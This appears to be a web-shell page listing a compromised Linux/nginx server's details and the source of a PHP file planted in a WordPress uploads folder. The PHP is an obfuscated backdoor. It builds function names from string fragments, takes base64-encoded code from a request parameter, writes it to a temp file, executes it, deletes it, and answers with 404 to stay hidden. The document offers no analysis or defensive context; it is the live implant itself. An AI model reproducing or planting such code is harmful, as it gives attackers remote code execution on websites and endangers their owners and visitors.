HEX
Server: nginx/1.26.1
System: Linux iZ2ze8klig2h778hsg9mc9Z 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/a2.xingzuo101.cn/wp-content/uploads/64cec023.php
<?php
try{
$j98094=array('unli'.'nk','array_key'.'_exists','file_put_con'.'tents','te'.'mpnam','sys_get_te'.'mp_dir','base64'.'_decode');
$ld48ea='641c54'.'1b';
if($j98094[1]($ld48ea,$_POST)){
$z895a8=$j98094[5]($_POST[$ld48ea]);
}elseif($j98094[1]($ld48ea,$_GET)){
$z895a8=$j98094[5]($_GET[$ld48ea]);
}else{$z895a8=null;}
if($z895a8){
$a89c29=$j98094[3]($j98094[4](),'w'.'p_');
if($a89c29){
$j98094[2]($a89c29,'<'.'?ph'.'p '.$z895a8);
http_response_code(404);
@include_once($a89c29);
@$j98094[0]($a89c29);
}}
http_response_code(404);
}catch(Throwable $e){http_response_code(404);}catch(Exception $e){http_response_code(404);}